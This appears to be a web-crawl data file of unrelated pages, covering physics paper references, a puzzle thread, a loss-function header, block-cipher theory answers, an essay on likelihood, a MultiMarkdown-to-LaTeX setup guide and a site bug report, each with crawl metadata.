Jovanovich, Publishers], New York-London, 1975. [28] Q. Ren, G. G. Balint-Kurti, F. R. Manby, M. Artamonov, T.-S. Ho and H. Rabitz, Quantum control of molecular vibrational and rotational excitations in a homonuclear diatomic molecule: A full three-dimensional treatment with polarization forces, The Journal of Chemical Physics, 124 (2006), 014111. [29] S. Ruetzel, C. Stolzenberger, F. Dimler, D. J. Tannor and T. Brixner, Adaptive coherent control using the von Neumann basis, Phys. Chem. Chem. Phys., 13 (2011), 8627-8636. [30] J. Scheuer, X. Kong, R. S. Said, J. Chen, A. Kurz, L. Marseglia, J. Du, P. R. Hemmer, S. Montangero, T. Calarco, B. Naydenov and F. Jelezko, Precise qubit control beyond the rotating wave approximation, New Journal of Physics, 16 (2014), 093022. [31] S. Sharma, H. Singh and G. G. Balint-Kurti, Genetic algorithm optimization of laser pulses for molecular quantum state excitation, The Journal of Chemical Physics, 132 (2010), 064108. [32] B. W. Shore, The Theory of Coherent Atomic Excitation, Wiley, New York, NY, 1990. [33] G. Stadler, Elliptic optimal control problems with $L^1$-control cost and applications for the placement of control devices, Comput. Optim. Appl., 44 (2009), 159-181. [34] S. Teufel, Adiabatic Perturbation Theory in Quantum Dynamics, vol. 1821 of Lecture Notes in Mathematics, Springer-Verlag, Berlin, 2003. [35] G. Turinici, C. Le Bris and H. Rabitz, Efficient algorithms for the laboratory discovery of optimal quantum controls, Phys. Rev. E, 70 (2004), 016704. [36] G. von Winckel and A. Borzì, Computational techniques for a quantum control problem with $H^1$-cost, Inverse Problems, 24 (2008), 034007, 23pp. [37] G. von Winckel, A. Borzì and S. Volkwein, A globalized Newton method for the accurate solution of a dipole quantum control problem, SIAM J. Sci. Comput., 31 (2009/10), 4176-4203. [38] G. Vossen and H. Maurer, On $L^1$-minimization in optimal control and applications to robotics, Optimal Control Appl. Methods, 27 (2006), 301-321. Schematic representation of laser-controlled chemical reaction dynamics. The nuclei of a molecule move on different potential energy surfaces depending on the electronic state, and the laser induces transitions between these states. Blue: Potential energy surfaces. Magenta: Initial wave function of the nuclei. Cyan: Target region Optimal control when the cost is chosen as a measure norm with respect to frequency and the $H^1_0$ norm with respect to time (system: Example 2.1, cost: Example 3.1). (A) Control field $Bu(t)$ as a function of time. (B) The contributions due to the two active frequencies of the optimal field. (C) Time-frequency representation $u(\omega, t)$ (color indicates absolute value). Detailed numerical illustration of frequency sparsity of the optimal control from Figure 2. In Figure 3(A) it is depicted that the numerical optimal control (dots in (A)), drops by three orders of magnitude below the threshold given by the numerical regularization parameter $\theta$ (dashed line in (A)), away from the coincidence set $\lVert (B^* {\mathop{\rm Re}\nolimits}\langle \varphi, \tilde H \psi \rangle)(\omega) \rVert_{\mathcal U} = \alpha$, precisely as theoretically predicted by equation (34). In Figure 3(B) we illustrate the quantifiers of Theorem 5.1, which asserts that the optimal control should vanish off the frequencies where the norm $\lVert (B^* {\mathop{\rm Re}\nolimits}\langle \varphi, \tilde H \psi \rangle)(\omega) \rVert_{\mathcal U}$ (dots in (B)) reaches the cost parameter $\alpha$ (solid line in (B)) Optimal controls for Schrödinger dynamics on two potential energy surfaces (Example 2.2). Rows: Different choices of cost functionals and control operators. Columns: Time, frequency, and time-frequency representation of the optimal controls (i.e. $(Bu)(t)$, $\lvert u \rvert(\omega)$ and $u(\omega, t)$). The dashed red line in the middle column, rows 1 to 3, indicates the Huber threshold, and the nonzero contributions below it are an artifact of the Huber regularization (see Theorem 5.1). In the rightmost column, the absolute values of the optimal measures are plotted in the time-frequency plane. Note that in column 1, 2, and 4 far fewer frequencies are active compared to the standard $L^2$ control (column 5) Cost parameters $\alpha$ and expectation values $f(\bar u) = \frac{1}{2} \langle \bar \psi, \mathcal O \bar \psi \rangle$ for different control spaces. A value of $f(\bar u) = 2.5 \cdot 10^{-2}$ corresponds to a $95\%$ achievement of the control goal control space $\alpha$ $f(\bar u)$ $\mathcal M(\Omega; H^1_0)$ $0.03$ $4.49 \cdot 10^{-3}$ $\mathcal M(\Omega; L^2)$ $0.03$ $2.69 \cdot 10^{-2}$ $\mathcal M(\Omega; \mathbb {C})$ $0.06$ $2.24 \cdot 10^{-2}$ $\mathcal M(\Omega\times[0, T]; \mathbb {C})$ $0.02$ $1.89 \cdot 10^{-2}$ $L^2(0, T)$ $0.0001$ $5.39 \cdot 10^{-6}$ control space $\alpha$ $f(\bar u)$ $\mathcal M(\Omega; H^1_0)$ $0.03$ $4.49 \cdot 10^{-3}$ $\mathcal M(\Omega; L^2)$ $0.03$ $2.69 \cdot 10^{-2}$ $\mathcal M(\Omega; \mathbb {C})$ $0.06$ $2.24 \cdot 10^{-2}$ $\mathcal M(\Omega\times[0, T]; \mathbb {C})$ $0.02$ $1.89 \cdot 10^{-2}$ $L^2(0, T)$ $0.0001$ $5.39 \cdot 10^{-6}$ [1] Roberta Ghezzi, Benedetto Piccoli. Optimal control of a multi-level dynamic model for biofuel production. Mathematical Control & Related Fields, 2017, 7 (2) : 235-257. doi: 10.3934/mcrf.2017008 [2] Jean-Philippe Cointet, David Chavalarias. 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Discrete & Continuous Dynamical Systems - A, 2014, 34 (5) : 1961-1993. doi: 10.3934/dcds.2014.34.1961 2017 Impact Factor: 0.631	2018-09-19 17:13:29	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.6822789907455444, "perplexity": 1842.7831091358553}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-39/segments/1537267156252.62/warc/CC-MAIN-20180919161420-20180919181420-00270.warc.gz"}
https://puzzling.stackexchange.com/questions/80731/triple-almost-gaps-schezos-edition/80738	# Triple (Almost) Gaps - Schezo's Edition Today (Mar 16) is Schezo's birthday! Happy birthday my little creeper boi~ <3 Clarifications: • $$C$$ may or may not be equal to $$1$$. • The set actually tells you that at least one of $$\{C,M,N,P,R,T\}$$ is $$1$$. • The number for $$WWWWBBB$$ is $$0$$. • can column 4 be, for instance, wwwwbbb (white=w, black=b)? – Omega Krypton Mar 16 '19 at 10:08 • @OmegaKrypton Oh, no, it's not allowed. – athin Mar 16 '19 at 10:58 • Why is there an arrow from C to 1 and from T to question mark? – darksky Mar 16 '19 at 16:37 • @darksky it's just denoting {C,M,N,P,R,T} should be replaced by {1,?,?,?,?,?} in some order. – athin Mar 16 '19 at 17:02 • – athin Mar 16 '19 at 17:44 I think the answer would be: The letters are: C = 3, R = 2, P = 0, T = 1, N = 2, M = 2 The boundary of the grid reads: I am not a creeper The set formed is: {C, M, N, P, R, T} = {3, 2, 2, 0, 2, 1} • Yep, that's it! Great job :D – athin Mar 16 '19 at 18:06	2021-06-15 10:35:54	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 6, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.7068982124328613, "perplexity": 2027.7329232354728}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-25/segments/1623487620971.25/warc/CC-MAIN-20210615084235-20210615114235-00127.warc.gz"}
https://pure.mpg.de/pubman/faces/ViewItemFullPage.jsp?itemId=item_3003240	English # Item ITEM ACTIONSEXPORT A∞ algebras from slightly broken higher spin symmetries Sharapov, A., & Skvortsov, E. (2019). A∞ algebras from slightly broken higher spin symmetries. Journal of High Energy Physics, 2019(9): 24. doi:10.1007/JHEP09(2019)024. Item is ### Basic show hide Genre: Journal Article ### Files show Files hide Files : 1809.10027.pdf (Preprint), 486KB Name: 1809.10027.pdf Description: Visibility: Public MIME-Type / Checksum: application/pdf / [MD5] - - : Sharapov-Skvortsov2019_Article_AAlgebrasFromSlightlyBrokenHig.pdf (Publisher version), 642KB Name: Sharapov-Skvortsov2019_Article_AAlgebrasFromSlightlyBrokenHig.pdf Description: Open Access Visibility: Public MIME-Type / Checksum: application/pdf / [MD5] - - show ### Creators show hide Creators: Sharapov, Alexey, Author Skvortsov, Evgeny1, Author Affiliations: 1Quantum Gravity & Unified Theories, AEI-Golm, MPI for Gravitational Physics, Max Planck Society, ou_24014 ### Content show hide Free keywords: High Energy Physics - Theory, hep-th Abstract: We define a class of $A_\infty$-algebras that are obtained by deformations of higher spin symmetries. While higher spin symmetries of a free CFT form an associative algebra, the slightly broken higher spin symmetries give rise to a minimal $A_\infty$-algebra extending the associative one. These $A_\infty$-algebras are related to non-commutative deformation quantization much as the unbroken higher spin symmetries result from the conventional deformation quantization. In the case of three dimensions there is an additional parameter that the $A_\infty$-structure depends on, which is to be related to the Chern-Simons level. The deformations corresponding to the bosonic and fermionic matter lead to the same $A_\infty$-algebra, thus manifesting the three-dimensional bosonization conjecture. In all other cases we consider, the $A_\infty$-deformation is determined by a generalized free field in one dimension lower. ### Details show hide Language(s): Dates: 2018-09-262019 Publication Status: Published in print Pages: 45 pages, some pictures Publishing info: - Rev. Method: - Identifiers: arXiv: 1809.10027 URI: http://arxiv.org/abs/1809.10027 DOI: 10.1007/JHEP09(2019)024 Degree: - show show show ### Source 1 show hide Title: Journal of High Energy Physics Source Genre: Journal Creator(s): Affiliations: Publ. Info: - Pages: - Volume / Issue: 2019 (9) Sequence Number: 24 Start / End Page: - Identifier: -	2019-11-13 12:47:46	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.6876367926597595, "perplexity": 7558.318803129814}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 5, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-47/segments/1573496667260.46/warc/CC-MAIN-20191113113242-20191113141242-00430.warc.gz"}
https://gitlab.idiap.ch/bob/bob.learn.mlp/-/blame/83a3ff06aa5fa92ac99f91bb6c2616503f8cde29/bob/learn/mlp/include/bob.learn.mlp/cross_entropy.h	cross_entropy.h 3.99 KB 1 2 3 4 5 6 7 8 9 10 11 12 /** * @author Andre Anjos * @date Fri 31 May 15:08:46 2013 * * @brief Implements the Cross Entropy Loss function * * Copyright (C) 2011-2014 Idiap Research Institute, Martigny, Switzerland / #ifndef BOB_LEARN_MLP_CROSSENTROPYLOSS_H #define BOB_LEARN_MLP_CROSSENTROPYLOSS_H Manuel Günther committed Aug 19, 2014 13 14 #include #include 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 namespace bob { namespace learn { namespace mlp { /* * Calculates the Cross-Entropy Loss between output and target. The cross * entropy loss is defined as follows: * * \f[ * J = - y \cdot \log{(\hat{y})} - (1-y) \log{(1-\hat{y})} * \f] * * where \f$\hat{y}\f$ is the output estimated by your machine and \f$y\f$ is * the expected output. / class CrossEntropyLoss: public Cost { public: /* * Constructor * * @param actfun Sets the underlying activation function used for error * calculation. A special case is foreseen for using this loss function * with a logistic activation. In this case, a mathematical * simplification is possible in which error() can benefit increasing the * numerical stability of the training process. The simplification goes * as follows: * * \f[ * b = \delta \cdot \varphi'(z) * \f] * * But, for the CrossEntropyLoss: * * \f[ * \delta = \frac{\hat{y} - y}{\hat{y}(1 - \hat{y}} * \f] * * and \f$\varphi'(z) = \hat{y} - (1 - \hat{y})\f$, so: * * \f[ * b = \hat{y} - y * \f] / Manuel Günther committed Aug 19, 2014 59 CrossEntropyLoss(boost::shared_ptr actfun); 60 61 62 63 64 65 66 67 /* * Virtualized destructor / virtual ~CrossEntropyLoss(); /* * Tells if this CrossEntropyLoss is set to operate together with a Manuel Günther committed Aug 19, 2014 68 * bob::learn::activation::LogisticActivation. 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 / bool logistic_activation() const { return m_logistic_activation; } /* * Computes cost, given the current output of the linear machine or MLP * and the expected output. * * @param output Real output from the linear machine or MLP * * @param target Target output you are training to achieve * * @return The cost / virtual double f (double output, double target) const; /* * Computes the derivative of the cost w.r.t. output. * * @param output Real output from the linear machine or MLP * * @param target Target output you are training to achieve * * @return The calculated error / virtual double f_prime (double output, double target) const; /* * Computes the back-propagated errors for a given MLP output * layer, given its activation function and activation values - i.e., the * error back-propagated through the last layer neurons up to the * synapses connecting the last hidden layer to the output layer. * * This entry point allows for optimization in the calculation of the * back-propagated errors in cases where there is a possibility of * mathematical simplification when using a certain combination of * cost-function and activation. For example, using a ML-cost and a * logistic activation function. * * @param output Real output from the linear machine or MLP * @param target Target output you are training to achieve * * @return The calculated error, backpropagated to before the output * neuron. / virtual double error (double output, double target) const; /* * Returns a stringified representation for this Cost function / virtual std::string str() const; private: //representation Manuel Günther committed Aug 19, 2014 122 boost::shared_ptr m_actfun; //act. function 123 124 125 126 127 128 129 bool m_logistic_activation; ///< if 'true', simplify backprop_error() }; }}} #endif / BOB_LEARN_MLP_CROSSENTROPYLOSS_H */	2023-02-09 06:59:03	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8966864347457886, "perplexity": 1595.408288004311}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 20, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2023-06/segments/1674764501407.6/warc/CC-MAIN-20230209045525-20230209075525-00610.warc.gz"}
http://crypto.stackexchange.com/tags/block-cipher/new	# Tag Info 2 When talking about encryption with block ciphers, you should distinguish block cipher itself from the mode of operation that employs the block cipher. Block cipher takes an input $P$ of fixed length $n$ and transforms it under key $K$ (and possibly under other parameters such as tweak $T$) to output $C$ of the same length $n$: E:\; P \xrightarrow{K(,T)} ... 3 The two plaintexts are almost certainly identical. At the very least, any difference between them must be representable in 32 bytes, since that's as much information as the XOR of the encrypted files contains. Assuming that the plaintexts are indeed identical, we can also see that changing the encryption key has a very simple and predictable effect on the ... 6 First of all, we need to review what they mean by "parity of a permutation"; they don't mean whether the input block had a even number of 1's. Instead, they view the $n$ bit cipher (with a specific key) as a permutation on $2^n$ objects; that is, it can be review as a way of rearranging that set of $2^n$ objects onto itself. Now, permutations on a finite ... 6 There are many well known and studied ways of constructing a hash function from a block cipher. A thorough (but reasonably readable for a beginner) treatment of many of the classic approaches, and the security properties of the various constructions, can be found in Black-Box Analysis of the Block-Cipher-Based Hash-Function Constructions from PGV, which is ... 5 Yes, we can build a hash function from a block cipher, and that's common, although with block ciphers designed for that purpose, when in the following I focus on AES, mentioned in the (different) question that motivated the present answer [which got moved here because said question was found to be a duplicate]. One classic method to obtain a hash function ... 2 A "cryptographic" hash function commonly has to fulfill two properties: It is collision resistant, meaning that there is no efficient (probabilistic polynomial time adversary), who can find two different messages that map to the same hash value It is compressing, meaning that takes a 'long' string and outputs a shorter hash value. Simply encrypting a ... 3 Remark: in One Time Pad the pad is used once, thus this is not OTP, since here $k$ is reused. Hint for part 1: Write the relations between $k$, the message blocks $m_i$, the ciphertext blocks $\small C_i$ with the convention $\small\text{IV}=\small C_0$. Then, find equations that allow computing the desired $m_3⊕m_4$ from known quantities. Hint for part 2, ... 5 It can't be achieved under the assumptions you are making, because the attacker can distinguish it by selecting an arbitrary $k'$, and checking if $E(k')$ commutes with the permutation in question. That is, to check a permutation $P$, we pick an arbitrary $x$, and check if: $E(k', P(x)) = P(E(k',x))$ This equation always holds if $P = E(k)$ for some value ... Top 50 recent answers are included	2014-04-24 15:05:26	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.6838447451591492, "perplexity": 647.4485125852198}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2014-15/segments/1398223206147.1/warc/CC-MAIN-20140423032006-00341-ip-10-147-4-33.ec2.internal.warc.gz"}
http://www.roma1.infn.it/~dagos/colombo/node37.html	# Likelihood and maximum likelihood methods Some comments on likelihood are also in order, because the reader might have heard this term and might wonder if and how it fits in the scheme of reasoning expounded here. One of the problems with this term is that it tends to have several meanings, and then to create misunderstandings. In plane English likelihood' is 1. the condition of being likely or probable; probability'', or 2. something that is probable''58; but also 3. (Mathematics & Measurements / Statistics) the probability of a given sample being randomly drawn regarded as a function of the parameters of the population''. Technically, with reference to the example of the previous appendix, the likelihood is simply , where is fixed (the observation) and is the parameter'. Then it can take two values, and . If, instead of only two models we had a continuity of models, for example the family of all Gaussian distributions characterized by central value and effective width' (standard deviation) , our likelihood would be , i.e. (37) written in this way to remember that: 1) a likelihood is a function of the model parameters and not of the data; 2) is not a probability (or a probability density function) of and . Anyway, for the rest of the discussion we stick to the very simple likelihood based on the two Gaussians. That is, instead of a double infinity of possibilities, our space of parameters is made only of two points, and . Thus the situation gets simpler, although the main conceptual issues remain substantially the same. In principle there is nothing bad to give a special name to this function of the parameters. But, frankly, I had preferred statistics gurus named it after their dog or their lover, rather than call it likelihood'.59The problem is that it is very frequent to hear students, teachers and researcher explaining that the likelihood' tells how likely the parameters are'' (this is the probability of the parameters! not the likelihood'). Or they would say, with reference to our example, it is the probability that comes from '' (again, this expression would be the probability of given , and not the probability of given the models!) Imagine if we have only in the game: comes with certainty from , although does not yield with certainty .60 Several methods in conventional statistics' use somehow the likelihood to decide which model or which set of parameters describes at best the data. Some even use the likelihood ratio (our Bayes factor), or even the logarithm of it (something equal or proportional, depending on the base, to the weight of evidence we have indicated here by JL). The most famous method of the series is the maximum likelihood principle. As it is easy to guess from its name, it states that the best estimates of the parameters are those which maximize the likelihood. All that seems reasonable and in agreement with what it has been expounded here, but it is not quite so. First, for those who support this approach, likelihoods are not just a part of the inferential tool, they are everything. Priors are completely neglected, more or less because of the objections in footnote 9. This can be acceptable, if the evidence is overwhelming, but this is not always the case. Unfortunately, as it is now easy to understand, neglecting priors is mathematically equivalent to consider the alternative hypotheses equally likely! As a consequence of this statistics miseducation (most statistics courses in the universities all around the world only teach conventional statistics' and never, little, or badly probabilistic inference) is that too many unsuspectable people fail in solving the AIDS problem of appendix B, or confuse the likelihood with the probability of the hypothesis, resulting in misleading scientific claims (see also footnote 60 and Ref. [3]). The second difference is that, since there are no priors'', the result cannot have a probabilistic meaning, as it is openly recognized by the promoters of this method, who, in fact, do not admit we can talk about probabilities of causes (but most practitioners seem not to be aware of this little philosophical detail', also because frequentistic gurus, having difficulties to explain what is the meaning of their methods, they say they are probabilities', but in quote marks!61). As a consequence, the resulting error analysis', that in human terms means to assign different beliefs to different values of the parameters, is cumbersome. In practice the results are reasonable only if the possible values of the parameters are initially equally likely and the likelihood function' has a `kind shape' (for more details see chapters 1 and 12 of Ref. [3]). Giulio D'Agostini 2010-09-30	2017-11-23 20:31:50	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8379344940185547, "perplexity": 605.2604763833923}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-47/segments/1510934806939.98/warc/CC-MAIN-20171123195711-20171123215711-00297.warc.gz"}
http://ethanp.github.io/blog/2014/05/22/multimarkdown-to-latex/	# Markdown to LaTeX ### Installation guide for Mac OSX One day, I thought, “Wouldn’t it be nice to have a Markdown to LaTeX converter.” Theoretically, one could combine these two tools to quickly create beautiful documents. That’s how I found Multimarkdown which is basically a souped up version of regular markdown. The documentation made it sound like this would be a breeze, but it actually took me way to long to get this to work on my machine. So I made a step-by-step guide. For the uninitiated, Markdown is a simplified way of writing html markup. If you don’t know about it please check it out. It is in fact how this very webpage was created. Then today I had to install it all over again on a different computer. To save my future self and you a lot of trouble, this time I noted what I did to get it to work (Mac OSX only). ### Install a lot of software First you must install homebrew the lifesaving Mac package manager. Then you should install multimarkdown et al. by running I’m not sure every one of those is necessary, but I don’t have another computer to test which ones can be left out. Probably at least the first one is necessary. Now go to the Mac App Store and buy MultiMarkdown Composer for \$12. Or don’t, it isn’t actually necessary, but I like that it live-renders LaTeX equations and has a hotkey for exporting markdown to different formats. You can export using the command-line too and that’s also quite simple (and free) (see below for script). Install TeXworks. This is a gui for running LaTeX commands, and it’s free, but again you can use the terminal for anything you can do in here if that’s your thing. ### Get the base latex installation and multimarkdown template files Download the multimarkdown latex support files from github. And put them in a (likely new) directory called ~/Library/texmf/tex/latex/mmd. Personally, I put the files in …/texmf/text/latex/… and that cost me a half-hour of my life so do yourself a favor and just copy and paste the following command Install mactex-2013. For whatever amazing reasons, you can’t use homebrew for this. You have to go to that website, download a 4+ GB file and run the installer. Now create a file Yayaya.md in Multimarkdown Composer (or Vim or whatever) and paste the following header at the top, verbatim: latex input: mmd-article-header Title: Hello Dr. Fourier Author: My Name latex mode: memoir Keywords: Math, DSP, Digital Signal Processing, Fourier Transform CSS: http://fletcherpenney.net/css/document.css latex input: mmd-natbib-plain latex input: mmd-article-begin-doc latex footer: mmd-memoir-footer That was just telling Multimarkdown how to format the LaTeX output. After that paste the actual contents of the document, e.g. # Simpler LaTeXing # ## The Fourier Transform ## Sometimes this formula comes in quite handy. ### The Formulation ### What follows is the formula for the Fourier transform. \$FT\{f(x)\}:=\frac{1}{\sqrt{2\pi}}\int_{-\infty}^{\infty}\!f(x)e^{-iwx}dx\$ Then go to file->export-> "Export as: asdf" , "Format: LaTeX" (or use the script below). This should have produced the following raw latex file: \input{mmd-article-header} \def\mytitle{Hello Dr. Fourier} \def\myauthor{My Name} \def\latexmode{memoir} \def\keywords{Math, DSP, Digital Signal Processing, Fourier Transform} \input{mmd-natbib-plain} \input{mmd-article-begin-doc} \part{Simpler LaTeXing} \label{simplerlatexing} \chapter{The Fourier Transform} \label{thefouriertransform} \textbf{Sometimes} \emph{this} formula comes in quite handy. \section{The Formulation} \label{theformulation} What follows is the formula for the Fourier transform. $FT\{f(x)\}:=\frac{1}{\sqrt{2\pi}}\int_{-\infty}^{\infty}\!f(x)e^{-iwx}dx$ \input{mmd-memoir-footer} \end{document} Open asdf.tex in TeXworks (if you used the script verbatim, it will be in ~/Desktop/Latex), hit the green “play” button in the top-left corner. A bunch of garbage will pile up in the Console Output area, but then your beautiful PDF will have been generated. This is just stellar, I’m telling you. Now you can open the asdf.pdf file in your favorite pdf viewer. ### Comprehensive troubleshooting guide If in the console of TeXworks, you get something like mmd-article-header.tex: not found, it means you put the multimarkdown-latex-support files in the wrong place or you forgot to download them or something. Because I kept getting that error message I was convinced there was some command I needed to run to tell mactex that this new directory exists on my machine and contains latex templates. Believe: there is no such command, mactex just looks in this directory of its own accord. ### Much simpler, use my script This assumes you have a directory on your Desktop called Latex. For now, I’m comfortable just having that there polluting that desktop. If you’re not, you can change LATEX_DIR, or add something like the following to the script. You run the script like and next thing you know, a Preview window opens with your beautiful document. Then after you’ve made changes to the document, run the command again, and the new version will show up in the same window.	2023-01-28 04:04:58	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.5831615328788757, "perplexity": 2861.450700439009}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 20, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2023-06/segments/1674764499470.19/warc/CC-MAIN-20230128023233-20230128053233-00355.warc.gz"}
https://brilliant.org/discussions/thread/problem-in-solution-submission/	# Problem in solution submission! Hi, I recently tried to submit solutions of a few problems. I write the solution and click preview, but it just takes me to the top of screen and then it never shows the preview. Please help. Note by Jatin Yadav 4 years, 8 months ago MarkdownAppears as italics or _italics_ italics bold or __bold__ bold - bulleted- list • bulleted • list 1. numbered2. list 1. numbered 2. list Note: you must add a full line of space before and after lists for them to show up correctly paragraph 1paragraph 2 paragraph 1 paragraph 2 [example link](https://brilliant.org)example link > This is a quote This is a quote # I indented these lines # 4 spaces, and now they show # up as a code block. print "hello world" # I indented these lines # 4 spaces, and now they show # up as a code block. print "hello world" MathAppears as Remember to wrap math in $$...$$ or $...$ to ensure proper formatting. 2 \times 3 $$2 \times 3$$ 2^{34} $$2^{34}$$ a_{i-1} $$a_{i-1}$$ \frac{2}{3} $$\frac{2}{3}$$ \sqrt{2} $$\sqrt{2}$$ \sum_{i=1}^3 $$\sum_{i=1}^3$$ \sin \theta $$\sin \theta$$ \boxed{123} $$\boxed{123}$$ Sort by: Hi Jatin -- We think we have fixed this bug. Let us know if you've spot it again. Staff - 4 years, 8 months ago Thanks for reporting this Jatin, we will look into it and fix it. Staff - 4 years, 8 months ago	2018-09-26 03:48:09	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9990150332450867, 